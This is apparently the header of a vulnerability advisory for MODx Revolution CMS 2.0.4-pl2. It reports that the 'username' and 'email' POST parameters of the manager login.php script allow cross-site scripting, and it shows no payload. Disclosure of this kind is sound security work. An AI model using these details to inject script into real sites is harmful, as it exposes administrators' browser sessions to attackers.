`<!--  
  
Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability  
  
  
Vendor: MODx, LLC.  
Product web page: http://www.modxcms.com  
Affected version: 2.0.4-pl2 (public launch 2)  
  
Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely  
with custom code and helps you build sites faster and maintain them with ease. With Revolution  
you'll leverage the best things to come around since MVC and Active Record.  
  
Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to  
the "username" and "email" parameters via POST method in login.php script at the manager  
login interface. Attackers can exploit this weakness to execute arbitrary HTML and script  
code in a user's browser session.
